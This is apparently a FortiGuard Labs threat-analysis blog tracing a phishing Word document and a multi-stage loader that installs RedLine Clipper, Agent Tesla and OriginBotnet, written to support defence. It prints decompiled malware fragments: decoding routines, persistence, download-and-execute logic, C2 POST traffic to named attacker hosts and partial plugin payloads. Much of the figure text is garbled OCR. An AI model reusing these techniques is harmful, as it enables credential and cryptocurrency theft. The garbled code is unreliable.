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Affected platforms: Windows
Impacted parties: Any organization
Impact: Remote attackers steal credentials, sensitive information, and cryptocurrency

Severity level: Critical

In August, FortiGuard Labs obtained a Word document containing a malicious URL designed to entice victims to

download a malware loader. This loader employs a binary padding evasion strategy that adds null bytes to increase
the file's size to 400 MB. The payloads of this loader include OriginBotnet for keylogging and password recovery,
RedLine Clipper for cryptocurrency theft, and AgentTesla for harvesting sensitive information. Figure 1 illustrates

the comprehensive attack flow.

In this blog, we examine the various stages of how the file is deployed and delve into the specifics of the malware

it delivers.
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Figure 1: Attack flow

Document Analysis

A phishing email delivers the Word document as an attachment, presenting a deliberately blurred image and a

counterfeit reCAPTCHA (Figure 2) to lure the recipient into clicking on it. Clicking activates an embedded
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malicious link in the file “\word_rels\document.xml.rels,” as shown in Figure 3.

[ H “1 - 15 | MV_EPDA_Reconcilation_AUGUST SOA[187889].docx - O X
Home Insert Page Layout References Mailings Review View @ 0

> &R
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reCAPTCHA

Privacy - Temns

I'm not a robot

Figure 2: Word document

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships”><Relationship Id="rIdg"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme™ Target="theme/themel.xml”/><Relationship Id="rId3"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable” Target="fontTable.xml"/><Relationship Id="rId2"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings” Target="settings.xml"/><Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles” Target="styles.xml"/><Relationship Id="rId6"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image” Target="media/image2.png”/><Relationship Id="rId5"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image™ Target="media/imagel.png"/><Relationship Id="rId4"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink”

Target="https:// L ERETPRT oV [TVl SR e i [0 P PEER I WSE" TargetMode="External”/></Relationships>

Figure 3: Malicious URL

Loader Analysis

The initial loader was acquired from https://bankslip[.]info/document/scancop20233108|.]exe. This file, written in
.NET, deciphers the “Main_Project” resource data in
“HealthInstitutionSimulation.Properties.Resources.resources.” It uses an XOR operation with the string
“WdxDFWxcf09WXFVVjLwKKcccwnawf” and then 'Activator.Createlnstance()' to execute the decoded

information. The decoding procedure is shown in Figure 4.
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3 i+4)

array[i] ( )(( JP1[i] * S )bytes[num2]);
flag = num2 == K1. ;
(flag)

num2

>( array, P1.

array;

Figure 4: Decoding resource data in “scancop20233108.exe”

The second stage uses the “Main Project.dll” with the entry point illustrated in Figure 5. In this stage, the code

initiates a “Sleep()” function within “Delation()” and establishes persistence through the “Moschop()” function.

overSurgeryTitle.Delation();
DBConnection.Moschop();
Constants.Pioting();
syncfusion.Off Loac

Figure 5: Entry point of “Main Project.dll”
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It then loads Base64-encoded strings and uses the AES-CBC algorithm for decryption, retrieving a PowerShell
command, as shown in Figure 6. To ensure persistence, it duplicates the EXE file into the directory
“%AppData%\Microsoft\Windows\Start Menu\Programs\Startup” under the filename “audacity.exe.exe” to ensure

that the file runs automatically even if the victim restarts their device.

text2 = 4
text3 = text4

texts =

text2,
DBConnection.
text,

.Replicaotr(text3 + " " + text5);

(1260);

Value

Figure 6: PowerShell command for persistence in “Main Project.dll”

Following that, it employs the command “GetType(‘I.L’).GetMethod(‘U’)” to invoke a method from the DLL that
was decrypted from the resources labeled “DataPresent.” This is passed to the third-stage payload, decrypted from
the data within the resources labeled “Moss,” using the AES-ECB algorithm, as shown in Figure 7.

P &= PE

b =B Type References

b =8 References

P B Resources

P {} -

b{}

b {} [HZ7ttaYRiuldsqdiU
P {} o

Figure 7: Load decrypted payload in “Main Project.dll”
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The third stage uses “scancopper4647979413.exe,” which is another .NET executable file. It utilizes the
“Activator.CreateInstance()” method to generate an instance decoded from the resources, “rumdisintegration.dat,”
effectively triggering the execution of the fourth-stage file, “cargomind.dll.” It then uses the “CreateInstance()”
method with two parameters: the object type for instantiation and an array of arguments to be transmitted to the

created object.

Program X

[STAThPead]
private static void Main()
{

te[] array = (byte[]) .GetResource

("cosmetic resources”, "rumdisintegration.dat”);

e[] array2 = - Base
(“yRFb4EUBuU61PFc8uYFcSkJCERPQEPB—“)'
(int 1 = @; i < array. ; i++)

array[i] ~= array2[i % array2.
}
Activator. : :(Assembly.

(array) .GetExportedTypes()[@],
{ typeof( ) D

Value

{Name = "Worker" FullName = "Worker.Worker"}
[0x00000001]

{Name = "Program" FullName = "Loader.Program"}

Figure 8: The entry point of “scancopper4647979413.exe”

The fourth stage is represented by a DLL file, “cargomind.dll.” Its entry point is shown in Figure 9. It comprises
three Base64-encoded strings intended for subsequent operations. The “Deserialize()” function, as shown in
Figure 10, is responsible for decoding these strings, parsing the key-value pairs for each option, and ultimately

returning a dictionary.

Xh1AWUBeQ==");

ze(s));

> options in 1list2)

ute(options);
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Figure 9: The entry point of “cargomind.dll”

Dictione

buffer -
ionary<str > dictionary = y
>am memoryStream = new Me stre buffer))

>();

dr

der binaryReader = Binary
i = binaryReader.ReadInt32(); i >
key = binaryReader.

value = binaryReader
dictionary.Add(key, value);

dictionary;

Figure 10: Function for parsing data

Figure 11 displays the result obtained from “list2.” It reveals the existence of three tasks, each comprising six

distinct options.
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Value
Count = 0x00000003
Count = 0x00000006
["u”, "https://softwarez.online/javau.exe”]
['k", "d"]
["df", "ad"]
["sf", "Java"]
[“fn", “javau.exe"]
'e”, "y’
P & Raw View
4 & [1] Count = 0x00000006
2 [0} ['k", "b"]
{> @ 1] ["df*, "ad"]
2 [ ['sf", ™
[> < [3] ["fn", "COPPER.exe"]
b2 1] [e”, "y']

b [5] ["r_k", “newcrisp.dat"]
P & Raw View

Count = 0x00000006
["k", "b"]

["df", "ad"]

["sf", ]

[“fn”, “david.exe"]
["e”, "y"]

["r_k", "backyard.dat"]

Figure 11: The tasks in “cargomind.dll”

Let's explore the options within “list2[0]” in detail:

1. “u”: URL, which is specified as https://softwarez[.]Jonline/javau[.]exe.

2. “k”: Action, with “d” indicating a download action, as shown in Figure 12.

3. “df”: File directory, where “ad” designates the ApplicationData folder (%appdata%), with the associated
function being “ConstructPath(),” as shown in Figure 13.

4. “sf”: Subfolder, denoted as “Java.”
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. “fn”: File name, identified as “javau.exe.”

« .

. “e”: Execution status, where “y” signifies “yes” and triggers the execution of the downloaded file using

“Process.Start.”

void Execute(Dictionary<strin tring> options)

if (options["k"] == "b")
{
this.ExecuteBinder(options);

¥
this.ExecuteDownloader(options);

Figure 12: Function for option “k”

ctPath(Dictionary< > options)
text = options["df"];
text2;
((text2 = text) != )
(!(text2 == "ad"))
(!(text2 == "pd"))
(I(text2 == "t"))
(text2 == "cd")
{

text =
¥

.SpecialFolder.

.SpecialFolder.
options["sf"];
(text3))

(text, text3);
(text))

(text).Refresh

options["fn"];
(text, textd);
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Figure 13: Function for constructing file path

For the remaining two tasks in “list2,” the action is set to “b.” Consequently, it invokes the “ExecuteBinder()”
function to decode data specified in the “r_k” option, as shown in Figure 14. The targeted files in this context are
“newcrisp.dat” and “backyard.dat,” both sourced from the resources section of the prior stage,

“scancopper46477979413.exe,” as shown in Figure 15.
cuteBinder(Dictionary< > options)

name = options|[“r k"];
[] array .ReadResources(name) [1;
(array ==

Path(options);

(text, array);

(sptions["e“] == "y")

Figure 14: Function for decoding payload
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o'
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scancopper464/77979413 (7.20.98.88)

= PE
D =B Type References
D =B References

4 @) Resources
A4 ™M

— o

Figure 15: Resources data in “scancopper46477979413.exe”

Malware Analysis — RedLine Clipper

The initial malware originates from the URL https://softwarez[.]Jonline/javaul.]exe. It is a .NET executable file
that has been packed using SmartAssembly. Upon deciphering the resource data, we uncovered the ultimate

payload, “RedLine Clipper,” as shown in Figure 16.
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Assembly Explorer

0

uBaBA

u@dBA(num) ;

(][ array |= #H.#C6b(#F6b.\u@015(562), #F6b.\uBB15(562));!

array - (array, - (562));

{

Figure 16: Decoded data in “javau.exe”

RedLine Clipper (SHA256: 4617631b4497eddcbd97538f6712e06fabdb53af3181d6c1801247338bffaad3), also
known as ClipBanker, specializes in stealing cryptocurrencies by manipulating the user's system clipboard
activities to substitute the destination wallet address with one belonging to the attacker. The compromised version
(Figure 17) supports cryptocurrencies, including Bitcoin, Ethereum, Dogecoin, Litecoin, Dashcoin, and Monero. It
continually monitors the clipboard for a copied coin wallet address, which is typically lengthy and complex,
making manual entry impractical. When a wallet address is detected on the clipboard, RedLine Clipper covertly

alters it to match the attacker's wallet address.

Ordinarily, cryptocurrency wallet addresses adhere to specific formats, but due to their complexity, users often
copy and paste them during transactions. Consequently, if the wallet address is tampered with at this stage, users

intending to send funds to a particular wallet may inadvertently deposit them into the attacker's wallet instead.

To carry out this operation, RedLine Clipper utilizes the “OnClipboardChangeEventHandler” to regularly monitor
clipboard changes and verify if the copied string conforms to the regular expression depicted in Figure 18. It's

worth noting that the attacker targets all six supported cryptocurrencies in this scheme.
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( RedLine Clipper Cracked l — | =] 'ﬂ‘

Settings

BTC YourBTC

ETH YourXMR
Doge YourDoge
LiteCoin  YourLiteCoin
DashCoin YourDashCoin
XMR YourXMR

File name  4LPeP7V exe [j

Create build...

Figure 17: Redline Clipper Cracked
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)MjGT3pECWB7BTpSPGEi6YU"”,

Figure 18: Run() function for RedLine Clipper

Malware Analysis — Agent Tesla

The second file, an Agent Tesla variant, is stored as “COPPER.exe” (SHA256:
c241e3b5d389b227484a8baec303e6c3e262d7f7bf7909e36e312dea9fb82798). This malware can log keystrokes,
access the host's clipboard, and conduct disk scans to uncover credentials and other valuable data. Further, it can
transmit gathered information to its Command and Control (C2) server through various communication channels,

including HTTP(S), SMTP, FTP, or even dispatching it to a designated Telegram channel.

To ensure its persistence, the malware replicates itself to the location “%AppData%\EbJgI\EbJgl.exe” and
establishes itself as an auto-run entry within the system registry, as shown in Figure 20. Additionally, it compiles a
list of specific software installed on the victim's device, including web browsers, email clients, FTP clients, and

more, as shown in Figure 21.
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File.Copy(FPKtDP.uLIGtRH, FPKtDP.CKgOtV, true);
(FPKtDP . ipF] oF

)

, FileAttributes. HE
MT). = FileAttributes.

e

> sourceFileName
> destFileName
- overwrite

Figure 19: File copy in Agent Tesla

RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(TXY.hkk2vyjic(1222448133), true);
registryKey. P.dNzzTitR, F DP. );
registryl 5

=3

(registryKey2 != null)
{
[1 array =
array[@] = 2
[]1 array2 = array;
registryKey2.

! returned
Microsoft. Win32.
fullPath

) process (S .Diagnostics.Process (svchost))
) fullPath2
registryKey {HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run}
registryKey?2 {HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run}

Figure 20: Registry setting in Agent Tesla
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rFOKdU4.7) 0wSIEAWe rFOKdUA4.L ] ClawsMa
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rFOKdU4.DXf
Discord

Figure 21: Partial list of targeted software

This specific version of Agent Tesla employs SMTP as its C2 connection protocol. You can see the details of the

traffic session in Figure 22.
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M Wireshark . Follow TCP Stream (tcp.stream eq 7) - [no capture file] - a X

220 serverl.bulkspaced4u.com ESMTP Exim 4.96-58-gd4e9ed49f8 Wed, @6 Sep 2023 13:35:52 +@53@ "~

EHLO DESKTOP-SNU4D24

250-serverl.bulkspacedu.com Hello ) et [ ]

250-SIZE 524288600

250-8BITMIME

250-PIPELINING

250-PIPECONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

STARTTLS

220 TLS go ahead

........... d.2..6.K.~....V.,

S e ca e $.8.(.".
......... R4

- [im o L

e e el Pl PPty Y T OO (1 N TPty O o
B H e B O | (et - ...g0..c0.
B n.Q%F...R....P.q.0

a2244021.0 ..U....US1.0...U.

Let's Encryptl.e aallaaaa R3O,

230824174128Z.
221122174127760 1 & 11

Figure 22: C2 connection of Agent Tesla

Malware Analysis — OriginBotnet

The third file, OriginBotnet, is stored as “david.exe” (SHA256:
be915d601276635bf4e77ce6b84feeec254a900c0d0c229b0d00f2cObcalbec?). It is named after its namespace, as
seen in Figure 23. OriginBotnet has a range of capabilities, including collecting sensitive data, establishing
communications with its C2 server, and downloading additional files from the server to execute keylogging or

password recovery functions on compromised devices.

0OriginBotnet

Figure 23: Entry point of OriginBotnet

Initially, OriginBotnet scans running processes to determine if it is already active within the environment.
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processName Process. ' OF :
3 (processName))

(Process. - . I= process.

process.Kil1l();

Figure 24: Checking process

It then initializes its settings and gathers essential information about the victim’s device, such as the installed
AntiVirus Product, CPU, GPU, country, OS name, and username, as shown in Figure 25. Once the system

information has been collected, the malware connects with the C2 server at https://nitrosoftwares[.]shop/gate.

nInformation.

Figure 25: Settings for OriginBotnet

Figure 26 shows the function responsible for transmitting messages. The communication is conducted via a POST
request using a parameter named “p.” The POST data is subjected to TripleDES encryption (in ECB mode, with
PKCS7 padding) and subsequently encoded in Base64 format. The encryption key for TripleDES is stored within
the “x-key” field of the HTTP Header. Additionally, the Content-Type and User-Agent values are hard-coded as
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“application/x-www-form-urlencoded” and “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0)
Gecko/20100101 Firefox/99.0,” respectively. Figures 27 and 28 provide insights into the traffic capture and

decrypted message.

>(1og);
S tripleDES ! i
text2 = "p=" + tripleDES. 3 (message, text);
t httpWebRequest = (Ht C est qu
httpWebRequest. LAdd(™
httpwWebRequest.
httpwWebRequest. =
httpWebRequest. = 10000;
httpwWebRequest.
httpwWebRequest.
httpWebRequest.
httpwWebRequest
text2 = text2
[1 bytes C - s(text2);

httpWebRequest. lication/x-www-form-urlen
httpWebRequest. ( )bytes. 3

requestStream = httpWebRequest

requestStream. te(bytes, @, bytes. s
(W )OI response = httpWebRequest.«

1 responseStream = response.G am())
mF * streamReader = Strean er(responseStream))

streamReader.ReadToEnd();
5i ifier rsaSignaturevVerifier =

(!rsasignatureverifie ify(text3, response.

ytion("invalid signature”);

1

text3 = tripleDES.D ypt(text3, response.
streamReader.Clo

}

responseStream. Fl
responseStream.Clos

Figure 26: Function for sending a message to the C2 server
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POST https://nitrosoftwares.shop/gate HTTP/1.1 =
x-key: d0f1a992-1¢c23-4f3e-b292-8b3d75b4badd

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Content-Type: application/x-www-form-urlencoded

Host: nitrosoftwares.shop

Content-Length: 440

Expect: 100-continue

p=dCBmsvaPECswaypOGAI%2BIQNCc%2BP%2BvOv/C90J1D49N3MBEDrK%2BWic/dg5BKSILVi4L9ANCWHKVIcpxUxGQ5HUS%
2BID2JXECUr9/DIIGjUqgk/yaqew/1wjg ClnuGU%2BpbNmjojCIPfrtskeQKGQXgNSApl 3PvwrAykhfYPHL1fvnQcSII%

2BCHeDtBwhfC3By/4clTbxBWOgj%2Bm3hRhecCMOh1GPpcNIthEYdyBerTLA2NcoVHVoEmwLS2qy% v
HFird...lpressCtrl-Er‘tErtc highlight all) “ View in Notepad I
Transformer | Headers ‘ TextView ‘ SyntaxView ImageView HexView | WebView ‘ Auth | Caching | Coockies ||Raw ‘ ISON |

XML |

HTTP/1.1 200 OK

Date: Tue, 05 Sep 2023 01:50:02 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 24

Connection: keep-alive

X-Powered-By: PHP/7.4.1

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

x-key: f4334ff4-9b1f-494f-9d70-1fda2499e4d9

Signature:
YyNhDzmQ7TypFugQXZhNj67557CV3jVnRrMBpu9/gVpKh6rbZRSbVYS5j2IdEfMmOV2DntPjgpj2kISWaysthMdVuO7FICZZkSbkwRi3LIwraR/oo
HhONZTfQdPKWVtyU5I0t//SHitpeKjo71iVoh1llwpnmcgP8IGWteqYOKVbg=

Set-Cookie: PHPSESSID=kvmdjOkm2srgda2thmmrédclokd; path=/

Set-Cookie: CSRF-TOKEN=9a9bd16673ef4fc2e002¢c10b1e004d24c38f981b72b3700c8500edelcd2fef28; expires=Tue, 05-Sep-2023
03:50:26 GMT; Max-Age=7200; path=/

Vary: User-Agent

Access-Control-Allow-Origin: *

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UgDqCNOggx3oHUolvEcHSrryOGWh%2BUt7qCdzqf%
2FguMHBHf5Qe%2FF8%2FWBVDaRwCDpSeCk0Z95gSBL5DTgqgfqa%
2FB66XIyuOWS8fcus)fWK2KIMXtELIApz9rZgl8aEdgmbeUEE3m6EI3FA"}], "group™:"cf-nel”,"max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 801ad1b1bc9a2a98-LAX

alt-sve: h3=":443"; ma=86400

UvykHNmA+l/9j0hmygVsqw==

Figure 27: C2 connection of OriginBotnet
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dCBmsvaPECswaypOGAI%2B1QNc%2BP%2BvOv/C9011DA9N3M6DrK%2BWic
/dq5BKSILVi4L94NCWHKVI cpxUxGQ5HUS%2BID2IXECUr9/DIJGjUgk/y4qcwm
/1wjgClnuGU%2BpblmjojCOPfrtskcQKGQXgN5Ap13PvwrAykhfYPHL1fvnQcS13%2BCHeDtBwhfC3
By /4c1TbxBWOgj%2Bm3hRhcCMOh1GPpcN1thEYdyBcrTL42NcoVHVobmwLS2qy%2B0
/ACgBc84PD5vF2CgfFjSynIzcpFijhc3ba5pm3Yz
/rc6DItDgnnBVoisV%2BWmaSOKMFSOAWWMC31FXMcH27QtNT7
/2/%2BYIs3PWtiMvdabB6BskwE8VcmjzmK11800CgVoq@1m8uRAGWR2VXgKWSOZAAUSZAEAZLXIZrY

2Wl6xntg

e 438 = 1 Tr Raw Bytes <42 LF

Output B0 Mm::

< 1: {"Clientld":"jdeOrkdr... 2:]p+kAieUJ8+gk?0uU°="].. 3:{"Status":"ok","Params™.. >

{"ClientId":"jde@rkdrhcnqyauBwzlkuw","TenantId":4296, "LocalTime":"2023-09-04
18:50:01", "SystemInfo”:{"Username™:“Chris/DESKTOP-
SNU4D24" , “OsName™ : "Microsoft Windows 18 Pro™,"Cpu”™:"Intel(R) Core(TM)
i9-9900K CPU @ 3.60GHz","Gpu":"VirtualBox Graphics Adapter

(WDDM)", "Antivirus":"Windows Defender™,"Nation":"US"}}%"

Figure 28: Decrypted message

After receiving an “OK” signal from the C2 server, OriginBotnet enters a waiting state and proceeds to parse
incoming C2 commands. The process for handling these commands is outlined in Figure 28. The available

commands include “downloadexecute,” “uninstall,” “update,” and “load.”
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response)

success = H
commandType;
((commandType = response.

(commandType == "

(response. "Url"], response. ["Filename"],
xtension”], response. St ainsKey s“) ? response.

Success = H

der.

success,
= response.

1)
5

(commandType == "uninstall™)

OF

<CmdE

s

ettings.Te

2
= response.

ication. i ();

(commandType == "update”)

Figure 29: Function for handling C2 command

If the victim receives either the “downloadexecute” or “update” command, the malware proceeds to parse
additional parameters, including the URL. It then directly downloads supplementary files from the specified URL
and executes them. It selects the appropriate execution method depending on the file’s extension (.exe, .msi, or
.java). This may involve using “Process.Start” or invoking commands such as “msiexec.exe /I” or “java.exe -jar,”

as shown in Figure 30.

When receiving an “uninstall” command, OriginBotnet invokes “MoveFile” to relocate the file to a temporary
folder.
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my A n

text = Settings.Dow )i h + "\\" + filename + extension
. (fileurl, text);
(text))

text2 = processParams;
fileName;
(extension != 11)

(extension == ".jar")

fileName = "java.exe";
text2 = "-jar \"" + text + "\" " + text2;

3
(extension == ".msi")
fileName = "msiexec.exe";
text2 = "/1 \"" + text + "\" /gn " + text2;

.
3

1L

J

1
J
fileName = text;

(fileName, text2);

Figure 30: Function for downloading and execution

The final command, “load,” retrieves plugins from the C2 server. The POST session and the decoded data for this
specific request are displayed in Figure 31. In this context, two plugins are available for OriginBotnet: Keylogger
and PasswordRecovery. The plugin DLL file is transmitted as a Base64 encoded string within the “bytes”

parameter. The processing function for this operation is shown in Figure 32.
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POST https://nitrosoftwares.shop/gate HTTP/1.1

x-key: 808773f9-534c-4b41-8733-5c2eaa/70b56d

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Type: application/x-www-form-urlencoded

Host: nitrosoftwares.shop

Content-Length: 178

Expect: 100-continue

v

IFir:d.. [press Ctrl+Enter to highlight all)

" View in Notepad

Transformer | Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth Caching
XML |

Cookies

| Raw

JSON

HTTP/1.1 200 OK

Date: Tue, 05 Sep 2023 01:50:05 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive

X-Powered-By: PHP/7.4.1

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

x-key: 93972d91-5388-4d09-9ale-a411d82b0all
Signature: Jfrgd7K7uMg6PMXEe/SYAHAC82

XTviHxkNDOO+RINSDdI1Lohlhvn/q2Uox|0=
Set-Cookie: PHPSESSID=vbcv567gshOtot3ot319m9qabj; path=/

03:50:29 GMT; Max-Age=7200; path=/

Vary: User-Agent

Access-Control-Allow-Origin: *

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?

2BlpFZfiRVAIUKzOfqTYTYWW2H6EEctxKxdCTwidSdyrMG6RIig"}], "group™:"cf-nel”,"max_age":604800}
NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 801ad1c48f2f2a98-LAX

alt-sve: h3=":443"; rna=86400|

Content-Length: 232320

WmjawgCtlgsbedAp2G0Anldal+

Request: {"RequestType":"PluginRequest”,"Clientld":"jdeOrkdrhcngyauOwzlkuw","Tenantld":4296,"RequestPluginName':"Keylogger"}
":"ok","Params":{"plugin":"Keylogger","bytes":"TVqQAAMAAAAEAAAAN\/SAALEAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAL

Reponse: {"Status

s=0SjfEqMjH8ZV3UpCQzIKE4JLDFrBZmJdFpaONTmhlaQf38JTVERkcDACYYwjcwZgFaMxkiAeM7MxODMcyeSdvXwr¥

+U1fUQ0jITzFtprRemG5ealefLtOBRGCOulIMKzQc8BDII2dblY6Zv1LwirOygWBLhnI8ckGNsmB8CTPYG00J03BuAvduCal/OVDimjkun08ngT

Set-Cookie: CSRF-TOKEN=dac23a5701e5d17331ac16b31b667de0295def3c09c01ccbffaBdadb851e559¢; expires=Tue, 05-Sep-2023

xndkKEz2CAEJUSJALSSHh/2Esn7iBMDnUMQ2TOUIPK/3DE6fQnZVTRPB+k0AkcSAaZj1xEly3TNoDIWwWMIZ+GjO3QACYzBGWiHONskSeCFT
BSn+0BShn344e6lcPL1VhFkgSFuHyPKCOHUpXDy9VYY4e6lcPL1Vhjh7qVw8vWWWGOHUpXDy9VYYAe6lcPL1Vhf+x0QabwndT4/7dWWOHIAf

00wxKiTOXBspVIzdTMFCRTriw/gRRBfNOWnNs5b5gaY0AlubOWQnwgNceHnWI/30DxhYg23LuGfo/sKRz8Rxjgxeg AOJFI06s2ZpjVEWptibP7
HsjceCltv5UImd+CeZbtt/ZMI4eblcPL1VhNgUakEB5AceUKIrruy18er) BktkoN3XJ1z9TEJUISWBQG)5KFxT4mLdQa56VEhLb2XH/ILEN5tRAV
WwdnZsgCo0AcMgPM18ZghjdhgGesFWiFBIQGWP3G6EUENBX1WNnR8MtM 1wFrWGOHupXDy9VYQtQgqlAQSnVBERNThmmIXBpdLKw/ v

N9BQAABCoeAnsGAAAEKIICA3SOGAAAEKhACewcAAAQqIgI DFQcAAAQqHEIoFQAACioeAnsIAAAEKIICASOIAAAEKhACewkAAAQqIgI DFQKAAAQQHEI7CgAAB!

Request: {"RequestType":"PluginRequest","Clientld":"jdeOrkdrhcngyauOwzlkuw","Tenantld":4296,"RequestPluginName" " PasswordRecovery"}

Reponse: {"Status":"ok","Params":{"plugin":"PasswordRecovery","bytes":"TVgQAAMAAAAEAAAAN/\/SAALEAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA,
BAAAMAQAA+QAAADEHAQAACCEdAAAKKBAAAAOKOPEAAAAIKBSAAAGMUQAAAQOGPYIAAAGMUEAAAQOA2WAAAAZO | AMACOXTAAABC]KAAAACCEEAA
rAAAGIQIvIwWEABMBpAAAGIQIvIQEABMENAAAGIQIVEWEABMBIAAAGhzZKAAAOSAIgEAAAKLLTeDhIC\/hYEAAADDZSAAArcCYy MAAAYICjSAAHBYIAAABIUFbOC
ABwWCGIDAAAKEQUORAAACMIFAAAKEQUXbOYAAAORBSAQIWAADOCAAAORBRAVSAAAChEFHZIVSQAAChEFcmBAAHBYSgAAChEECnkAAHBYfOAACGOLAAAL
29gAAAKK]I CexkAAARVYQAACioeAihiAAAKKIICAYhjAAAKKIYCAWQoZAAACIoAABswBQBXAAAACEAAERQKC2UAAADLC2YAAAOMCZ2cAAACICACEDOWAAADVaY
Kz4SCCiBAAAKEWkSCSICAAAKAhdvgwAACIWIEQdvhAAAChEHD38AAA0SCSICAAAKEgkohQAACNNKAAAGEWrePRITKIYAAAOtud4OEgj+Fgk AABtvOWAACTWSI
KKBYAAAQIEgAAAhMLFhMMEgE3+FUSAAAERBhELeyQAAARZdQAAChEHEEOWFhgobQAABhMOEQO0dQAABhdAOQAAABEQOZoAAAAEAAIAABMPEQS8okgA,
XwAAAW8YAAAKIgZvgAAACIYW CyscBgloggAABgdvowAACM8z AAAKbGCAAAOMBXdYCwcCKIIAAAZYpAAACILWBmM8zAAAKKgZzMQAACIVYvQIAcAloFwAA(
Kb44AAAYCHxgoBOAAKy2GAAArEAACFiieAAAKEWQrUgZviOAABhMGEEZy 9wMACHOVAAAKKLAAAA0SCglopwAABhMFKwgCKLAAAAYTBOZVjwAABhEFb7E
opgAACglomgAABII9AAAKFEYYGCImMAAAKANTGAAAELBYCe20AAAQWBhoCe20AAASOaSIMAAAKBIDTMAQAVAAAAAAAAABZ MQAACIUCKIcAAAZvpwWAACIYlc
YqHglolwAABIpWAIIXAAAGAgMorAAABgIEKJYAAAYqAAATMAIAEWAAABOAABECKIUAAAZVhgAABOSpCh8IBIgqHg) 7bAAABCOIAgNSbAAABCoKFioAEzZAFAFC
aQcYWFIvuwAABgZvugAABo1RAAABDCsuBm+8AAAGCBAAAAYIHzZBYUQAABIUDBxdYkW+7AAAGh8QAAA0DBxdYkY1RAAABDAIDaQOOaQcYWFkwBQiOaSs
XxQAAAAgFMEAMAQAABNIVBgBwh8gAAAOMOPSAAAACKLAAAAYNFhMEKx8JEQSREwUHCIOAAHARBYXRAAABDz IAAAOMEQOXWBMEEQQJjmky2gZyKwYAc/
C94FIhQL3gAHKgAAARAAAAAAAAA\/PWAFEQAAARSWBAAGAAAAGAAAEXNNAAAKIQNVaQAACIUXb20AAACIBG\/NAAAKIRdvawAACMIXAAAKAhYCjmlvbC
neAACEI7TmOAARAZVvAAAACEsHNRENKNcCeSkAAAOHFaeNaWN/OAAAKCXYTRCsLICRFFCRFFKOCRBIFhOnwWRRBAYFWORRBAI7IAAABRAZMeADI AnIBwe0aSe0

Figure 31: Message and decoded data of requesting a plugin
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ModuleRequest moduleRequest ModuleRequest
{
Settings.PcHwid

%(—‘T*‘]hgs.'."""" .
= PnglnRequest

I

(Settings.Keylogger)
{

moduleRequest. = "Keylogger";

ModuleResponse moduleResponse = HttpSender.l| <ModuleRequest, ModuleR

plugin = moduleResponse. ["plugin”];
[] bytes = . astring(moduleResponse. ["bytes"]);
thodInvoke (bytes plugin, []

Settings.C
Settings.P
Settings.PcHwid
"o",

Settings. :
Settings.LoggerInt

moduleRequest. = "PasswordRecovery”;
ModuleResponse moduleResponse2 = HttpSender.| | <ModuleRequest, Modulel
plugin2 = moduleResponsez. ["plugin™];
[] bytesz = 1String(moduleResponse?2. ["bytes™]);
hodInvoke (bytesz plugin2, ject[]

Settings.Currenturl
Settings.PublicK
Settings.PcHwi

"o",

Settings.

Figure 32: Function for processing plugin

The Keylogger plugin (SHA256: c204f07873fafdfd48f37e7e659e3bele4202c8f62db8c00866c8af40a9a82c5) is
designed to covertly record and log each keystroke executed on a computer as well as monitor user activities. It
employs techniques such as “SetWindowsHookEx” for capturing keyboard input events and
“GetForegroundWindow” to determine the active window the user is working in. It also keeps tabs on clipboard
text content through “SetClipboardViewer.” The stolen text file uses a format similar to Agent Tesla's, as shown in
Figure 35.

moduleHandle = KeyboardHook. OF -
d = KeyboardHook. .KBDLLHookProcDelegate, moduleHandle, 9);

rd 1 . )

Figure 33: API for starting the hook of the keyboard
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0;
. .-_—’
WinApi. .activeWindowHandle) + 1;
er stringBuilder Stri ilder(num);
¢ .activeWindowHandle, stringBuilder, num)

stringBuilder.ToS

-+ @lock -
(@lock)

+ "<hr>Copied Text: <br>" + text + "<hr>";

Figure 35: Log format for copied text

The PasswordRecovery plugin (SHA256:
56ced4elabca685a871b77fab998766cbddfb3edf719311316082b6e05986d67) retrieves and organizes the
credentials of various browser and software accounts. It records these results and reports them via HTTP POST
requests. Its primary function is shown in Figure 36. The plugin is designed to target the following browsers and

software applications:

e Chromium Browsers: Opera, Yandex, Iridium, Chromium, 7Star, Torch, Cool Novo, Kometa, Amigo,
Brave, CentBrowser, Chedot, Orbitum, Sputnik, Comodo Dragon, Vivaldi, Citrio, 360 Browser, Uran,
Liebao, Elements, Epic Privacy, Coccoc, Sleipnir 6, QIP Surf, Coowon, Chrome, and Edge Chromium

